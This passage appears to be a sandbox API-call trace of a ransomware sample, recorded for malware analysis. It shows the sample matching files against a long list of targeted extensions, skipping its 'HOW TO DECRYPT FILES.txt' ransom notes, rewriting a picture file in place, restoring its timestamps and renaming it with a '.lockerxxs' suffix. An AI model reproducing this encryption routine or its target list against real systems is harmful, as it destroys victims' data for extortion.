[0091.152] lstrlenA (lpString="*.mbox") returned 6 [0091.152] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.eml") returned 0 [0091.152] lstrlenA (lpString="*.eml") returned 5 [0091.152] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.pst") returned 0 [0091.152] lstrlenA (lpString="*.pst") returned 5 [0091.152] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.ost") returned 0 [0091.152] lstrlenA (lpString="*.ost") returned 5 [0091.152] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.idx") returned 0 [0091.152] lstrlenA (lpString="*.idx") returned 5 [0091.152] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.dbx") returned 0 [0091.152] lstrlenA (lpString="*.dbx") returned 5 [0091.152] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.sql") returned 0 [0091.152] lstrlenA (lpString="*.sql") returned 5 [0091.152] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.mdb") returned 0 [0091.152] lstrlenA (lpString="*.mdb") returned 5 [0091.152] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.fdb") returned 0 [0091.152] lstrlenA (lpString="*.fdb") returned 5 [0091.152] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.wab") returned 0 [0091.153] lstrlenA (lpString="*.wab") returned 5 [0091.153] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.dat") returned 0 [0091.153] lstrlenA (lpString="*.dat") returned 5 [0091.153] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.txt") returned 0 [0091.153] lstrlenA (lpString="*.txt") returned 5 [0091.153] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.jpeg") returned 0 [0091.153] lstrlenA (lpString="*.jpeg") returned 6 [0091.153] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.jpg") returned 0 [0091.153] lstrlenA (lpString="*.jpg") returned 5 [0091.153] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.png") returned 0 [0091.153] lstrlenA (lpString="*.png") returned 5 [0091.153] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.php") returned 0 [0091.153] lstrlenA (lpString="*.php") returned 5 [0091.153] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.cs") returned 0 [0091.153] lstrlenA (lpString="*.cs") returned 4 [0091.153] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.cpp") returned 0 [0091.153] lstrlenA (lpString="*.cpp") returned 5 [0091.153] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.rar") returned 0 [0091.153] lstrlenA (lpString="*.rar") returned 5 [0091.153] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.zip") returned 0 [0091.153] lstrlenA (lpString="*.zip") returned 5 [0091.153] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.html") returned 0 [0091.153] lstrlenA (lpString="*.html") returned 6 [0091.153] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.htm") returned 0 [0091.153] lstrlenA (lpString="*.htm") returned 5 [0091.153] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.xlsx") returned 0 [0091.153] lstrlenA (lpString="*.xlsx") returned 6 [0091.153] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.xls") returned 0 [0091.154] lstrlenA (lpString="*.xls") returned 5 [0091.154] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.mp4") returned 0 [0091.154] lstrlenA (lpString="*.mp4") returned 5 [0091.154] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.ppt") returned 0 [0091.154] lstrlenA (lpString="*.ppt") returned 5 [0091.154] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.pptx") returned 0 [0091.154] lstrlenA (lpString="*.pptx") returned 6 [0091.154] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.doc") returned 0 [0091.154] lstrlenA (lpString="*.doc") returned 5 [0091.154] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.dot") returned 0 [0091.154] lstrlenA (lpString="*.dot") returned 5 [0091.154] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.docx") returned 0 [0091.154] lstrlenA (lpString="*.docx") returned 6 [0091.154] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.7z") returned 0 [0091.154] lstrlenA (lpString="*.7z") returned 4 [0091.154] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.tar") returned 0 [0091.154] lstrlenA (lpString="*.tar") returned 5 [0091.154] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.bz2") returned 0 [0091.154] lstrlenA (lpString="*.bz2") returned 5 [0091.154] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.gz") returned 0 [0091.154] lstrlenA (lpString="*.gz") returned 4 [0091.154] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.mkv") returned 0 [0091.154] lstrlenA (lpString="*.mkv") returned 5 [0091.154] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.eml") returned 0 [0091.154] lstrlenA (lpString="*.eml") returned 5 [0091.154] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.msg") returned 0 [0091.154] lstrlenA (lpString="*.msg") returned 5 [0091.155] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.edb") returned 0 [0091.155] lstrlenA (lpString="*.edb") returned 5 [0091.155] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.accdb") returned 0 [0091.155] lstrlenA (lpString="*.accdb") returned 7 [0091.155] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.odb") returned 0 [0091.155] lstrlenA (lpString="*.odb") returned 5 [0091.155] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.java") returned 0 [0091.155] lstrlenA (lpString="*.java") returned 6 [0091.155] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.asm") returned 0 [0091.155] lstrlenA (lpString="*.asm") returned 5 [0091.155] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.pfx") returned 0 [0091.155] lstrlenA (lpString="*.pfx") returned 5 [0091.155] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.pem") returned 0 [0091.155] lstrlenA (lpString="*.pem") returned 5 [0091.155] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.p12") returned 0 [0091.155] lstrlenA (lpString="*.p12") returned 5 [0091.155] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.gpg") returned 0 [0091.155] lstrlenA (lpString="*.gpg") returned 5 [0091.155] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.vsd") returned 0 [0091.155] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4925ee00, ftCreationTime.dwHighDateTime=0x1d5dc4e, ftLastAccessTime.dwLowDateTime=0xdedcbfc0, ftLastAccessTime.dwHighDateTime=0x1d5de95, ftLastWriteTime.dwLowDateTime=0xdedcbfc0, ftLastWriteTime.dwHighDateTime=0x1d5de95, nFileSizeHigh=0x0, nFileSizeLow=0x10a5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvalCXYkJkQMZAT6toe6.jpg", cAlternateFileName="JVALCX~1.JPG")) returned 1 [0091.155] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0091.156] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="jvalCXYkJkQMZAT6toe6.jpg") returned -1 [0091.156] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="jvalCXYkJkQMZAT6toe6.jpg") returned -1 [0091.156] lstrcmpiA (lpString1="", lpString2="jvalCXYkJkQMZAT6toe6.jpg") returned -1 [0091.156] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif") returned="5d1vV.gif" [0091.156] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\" [0091.156] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\") returned="" [0091.156] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\HOW TO DECRYPT FILES.txt" [0091.156] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\how to decrypt files.txt")) returned 0x20 [0091.156] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\", lpString2="jvalCXYkJkQMZAT6toe6.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\jvalCXYkJkQMZAT6toe6.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\jvalCXYkJkQMZAT6toe6.jpg" [0091.156] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\jvalCXYkJkQMZAT6toe6.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\jvalCXYkJkQMZAT6toe6.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\jvalCXYkJkQMZAT6toe6.jpg" [0091.156] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\jvalCXYkJkQMZAT6toe6.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\jvalCXYkJkQMZAT6toe6.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\jvalCXYkJkQMZAT6toe6.jpg" [0091.156] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\jvalCXYkJkQMZAT6toe6.jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\jvalCXYkJkQMZAT6toe6.jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\jvalCXYkJkQMZAT6toe6.jpg." [0091.156] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\jvalCXYkJkQMZAT6toe6.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\jvalCXYkJkQMZAT6toe6.jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\jvalCXYkJkQMZAT6toe6.jpg.lockerxxs" [0091.156] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\jvalCXYkJkQMZAT6toe6.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\jvalcxykjkqmzat6toe6.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0091.157] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x10a5c [0091.157] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x4925ee00, dwHighDateTime=0x1d5dc4e), lpLastAccessTime=0x407536*(dwLowDateTime=0xdedcbfc0, dwHighDateTime=0x1d5de95), lpLastWriteTime=0x40753e*(dwLowDateTime=0xdedcbfc0, dwHighDateTime=0x1d5de95)) returned 1 [0091.157] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0091.157] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x10a36, lpOverlapped=0x0) returned 1 [0091.159] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\jvalCXYkJkQMZAT6toe6.jpg") returned="jvalCXYkJkQMZAT6toe6.jpg" [0091.159] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0091.160] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x10a36, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x10a36, lpOverlapped=0x0) returned 1 [0091.160] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0091.160] CloseHandle (hObject=0x8c) returned 1 [0091.160] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\jvalCXYkJkQMZAT6toe6.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\jvalcxykjkqmzat6toe6.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\jvalCXYkJkQMZAT6toe6.jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\jvalcxykjkqmzat6toe6.jpg.lockerxxs")) returned 1 [0091.162] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe4d7cd0, ftCreationTime.dwHighDateTime=0x1d5e69e, ftLastAccessTime.dwLowDateTime=0x7dbe0120, ftLastAccessTime.dwHighDateTime=0x1d5e7a2, ftLastWriteTime.dwLowDateTime=0x7dbe0120, ftLastWriteTime.dwHighDateTime=0x1d5e7a2, nFileSizeHigh=0x0, nFileSizeLow=0x14bce, dwReserved0=0x43000340, dwReserved1=0x4e00c4, cFileName="lSYtWwgaMY4M6.png", cAlternateFileName="LSYTWW~1.PNG")) returned 1 [0091.162] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0091.162] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="lSYtWwgaMY4M6.png") returned -1 [0091.162] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="lSYtWwgaMY4M6.png") returned -1 [0091.162] lstrcmpiA (lpString1="", lpString2="lSYtWwgaMY4M6.png") returned -1 [0091.162] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\jvalCXYkJkQMZAT6toe6.jpg") returned="jvalCXYkJkQMZAT6toe6.jpg" [0091.162] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\" [0091.162] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\") returned="" [0091.162] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\HOW TO DECRYPT FILES.txt" [0091.162] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\how to decrypt files.txt")) returned 0x20 [0091.162] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\", lpString2="lSYtWwgaMY4M6.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png" [0091.162] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png", pszSpec="*.ems") returned 0 [0091.162] lstrlenA (lpString="*.ems") returned 5 [0091.162] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png", pszSpec="*.db") returned 0 [0091.162] lstrlenA (lpString="*.db") returned 4 [0091.162] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png", pszSpec="*.dbf") returned 0 [0091.162] lstrlenA (lpString="*.dbf") returned 5 [0091.162] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png", pszSpec="*.myox") returned 0 [0091.163] lstrlenA (lpString="*.myox") returned 6 [0091.163] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png", pszSpec="*.myo") returned 0 [0091.163] lstrlenA (lpString="*.myo") returned 5 [0091.163] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png", pszSpec="*.qbw") returned 0 [0091.163] lstrlenA (lpString="*.qbw") returned 5 [0091.163] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png", pszSpec="*.qbb") returned 0 [0091.163] lstrlenA (lpString="*.qbb") returned 5 [0091.163] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png", pszSpec="*.qbm") returned 0 [0091.163] lstrlenA (lpString="*.qbm") returned 5 [0091.163] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png", pszSpec="*.qbo") returned 0 [0091.163] lstrlenA (lpString="*.qbo") returned 5 [0091.163] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png", pszSpec="*.qbx") returned 0 [0091.163] lstrlenA (lpString="*.qbx") returned 5 [0091.163] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png", pszSpec="*.qba") returned 0 [0091.163] lstrlenA (lpString="*.qba") returned 5 [0091.163] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png", pszSpec="*.qby") returned 0 [0091.163] lstrlenA (lpString="*.qby") returned 5 [0091.163] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png", pszSpec="*.qbj") returned 0 [0091.163] lstrlenA (lpString="*.qbj") returned 5 [0091.163] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png", pszSpec="*.ofx") returned 0 [0091.163] lstrlenA (lpString="*.ofx") returned 5 [0091.163] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png", pszSpec="*.qif") returned 0 [0091.163] lstrlenA (lpString="*.qif") returned 5 [0091.163] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png", pszSpec="*.mye") returned 0 [0091.163] lstrlenA (lpString="*.mye") returned 5 [0091.163] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png", pszSpec="*.mbox") returned 0 [0091.163] lstrlenA (lpString="*.mbox") returned 6 [0091.163] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png", pszSpec="*.eml") returned 0 [0091.163] lstrlenA (lpString="*.eml") returned 5 [0091.163] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png", pszSpec="*.pst") returned 0 [0091.163] lstrlenA (lpString="*.pst") returned 5 [0091.163] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png", pszSpec="*.ost") returned 0 [0091.163] lstrlenA (lpString="*.ost") returned 5 [0091.164] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png", pszSpec="*.idx") returned 0 [0091.164] lstrlenA (lpString="*.idx") returned 5 [0091.164] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png", pszSpec="*.dbx") returned 0 [0091.164] lstrlenA (lpString="*.dbx") returned 5 [0091.164] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png", pszSpec="*.sql") returned 0 [0091.164] lstrlenA (lpString="*.sql") returned 5 [0091.164] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png", pszSpec="*.mdb") returned 0 [0091.164] lstrlenA (lpString="*.mdb") returned 5 [0091.164] 